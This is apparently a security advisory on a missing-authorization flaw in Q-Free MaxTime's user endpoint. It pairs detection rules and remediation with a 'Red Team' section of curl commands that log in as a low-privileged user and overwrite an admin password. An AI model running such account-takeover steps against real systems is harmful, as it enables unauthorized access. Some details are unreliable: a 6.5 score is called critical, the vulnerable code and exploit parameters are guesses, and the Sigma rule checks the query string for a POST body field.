CVE-2025-26376

Executive Summary

CVE-2025-26376 is a critical Missing Authorization vulnerability (CWE-862) identified in Q-Free MaxTime, a traffic management and tolling system. The flaw resides in the maxprofile/users/routes.lua endpoint, allowing an authenticated attacker with low privileges to modify user data via crafted HTTP requests. This can lead to unauthorized privilege escalation, account takeover, or disruption of system operations. The vulnerability affects all versions up to and including 2.11.0. No official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the sensitive nature of the affected system.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

Threat Level: Medium. While the CVSS score is 6.5, the integrity impact is high, and the attack complexity is low. An attacker with low privileges can modify user data, potentially leading to privilege escalation or system compromise.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization checks. The endpoint maxprofile/users/routes.lua is designed to handle user profile and route data. However, it fails to verify that the authenticated user has the necessary permissions to modify the target user's data. This means a low-privileged user can send a crafted HTTP request to this endpoint and alter the data of any other user, including administrators.

Attack Flow:

1. An attacker authenticates to the Q-Free MaxTime system with low-privileged credentials.
2. The attacker crafts an HTTP request to maxprofile/users/routes.lua with modified parameters targeting another user (e.g., changing their password, email, or role).
3. The server processes the request without proper authorization checks, updating the target user's data.
4. The attacker can then use the modified data to escalate privileges or take over accounts.

Root Cause: The routes.lua script likely uses a function like update_user_data(user_id, new_data) without first checking if the requesting user has the admin or user_modify permission. This is a common oversight in web applications where authorization is not consistently enforced.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

-- Vulnerable code (routes.lua)
local function handle_user_update(req)
    local user_id = req.params.user_id
    local new_data = req.params.data
    -- Missing authorization check
    db.update_user(user_id, new_data)
    return { status = "success" }
end

A patched version would include an authorization check:

-- Patched code (routes.lua)
local function handle_user_update(req)
    local user_id = req.params.user_id
    local new_data = req.params.data
    -- Authorization check
    if not is_authorized(req.user, "modify_users") then
        return { status = "error", message = "Unauthorized" }
    end
    db.update_user(user_id, new_data)
    return { status = "success" }
end

The patch adds a call to is_authorized() which verifies that the requesting user has the modify_users permission before allowing the update.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Q-Free MaxTime instance (version <= 2.11.0)
• Low-privileged user credentials (e.g., username: user1, password: password123)

Exploitation Steps:

1. Authenticate and obtain a session token:

   curl -X POST https://target.com/login -d "username=user1&password=password123" -c cookies.txt
   

2. Craft a request to modify an admin user's data (e.g., change password):

   curl -X POST https://target.com/maxprofile/users/routes.lua \
     -b cookies.txt \
     -d "user_id=admin&data[password]=newpassword123"
   

3. Verify the modification by logging in as the admin user with the new password:

   curl -X POST https://target.com/login -d "username=admin&password=newpassword123"
   

Expected Outcome: The attacker gains administrative access to the system.

Blue Team

Detection and Response:

1. Monitor HTTP requests to /maxprofile/users/routes.lua for unusual patterns, especially from low-privileged users.
2. Implement rate limiting on user modification endpoints.
3. Enable logging of all user data changes and correlate with user roles.
4. Use Web Application Firewall (WAF) rules to block requests with unexpected parameters.

Hunting Query (Splunk):

index=web_logs source="/maxprofile/users/routes.lua"
| where method="POST"
| eval user_role=get_user_role(user)
| where user_role="low"
| table _time, user, user_id, data

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /maxprofile/users/routes.lua with parameters user_id and data.
  • Unusual login attempts from low-privileged users followed by admin account activity.
• System IOCs:
  • Unexpected changes to user roles or passwords in the database.
  • Log entries showing update_user operations without corresponding authorization checks.
• File IOCs:
  • Modified routes.lua file (if attacker uploads a backdoor).
  • Suspicious Lua scripts in the maxprofile/users/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_26376_QFree_MaxTime_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-26376 in Q-Free MaxTime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26376"
    strings:
        $s1 = "/maxprofile/users/routes.lua" ascii wide nocase
        $s2 = "user_id" ascii wide nocase
        $s3 = "data" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-26376 - Q-Free MaxTime Missing Authorization Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with user modification parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/maxprofile/users/routes.lua'
        cs-uri-query|contains: 'user_id'
    condition: selection
falsepositives:
    - Legitimate admin operations
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-26376 - Q-Free MaxTime Missing Authorization Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/maxprofile/users/routes.lua"; http_uri;
    content:"user_id"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, by removing or renaming routes.lua.
2. Implement a WAF rule to block requests to /maxprofile/users/routes.lua from non-admin users.
3. Review and restrict user permissions to ensure only authorized users can modify user data.

Long-term Fix:

1. Apply the missing authorization check in routes.lua as shown in the patched code example.
2. Conduct a full security audit of all endpoints for similar authorization issues.
3. Implement role-based access control (RBAC) across the entire application.

Workaround:

• If patching is not possible, restrict network access to the MaxTime system to trusted IPs only.

Valters IT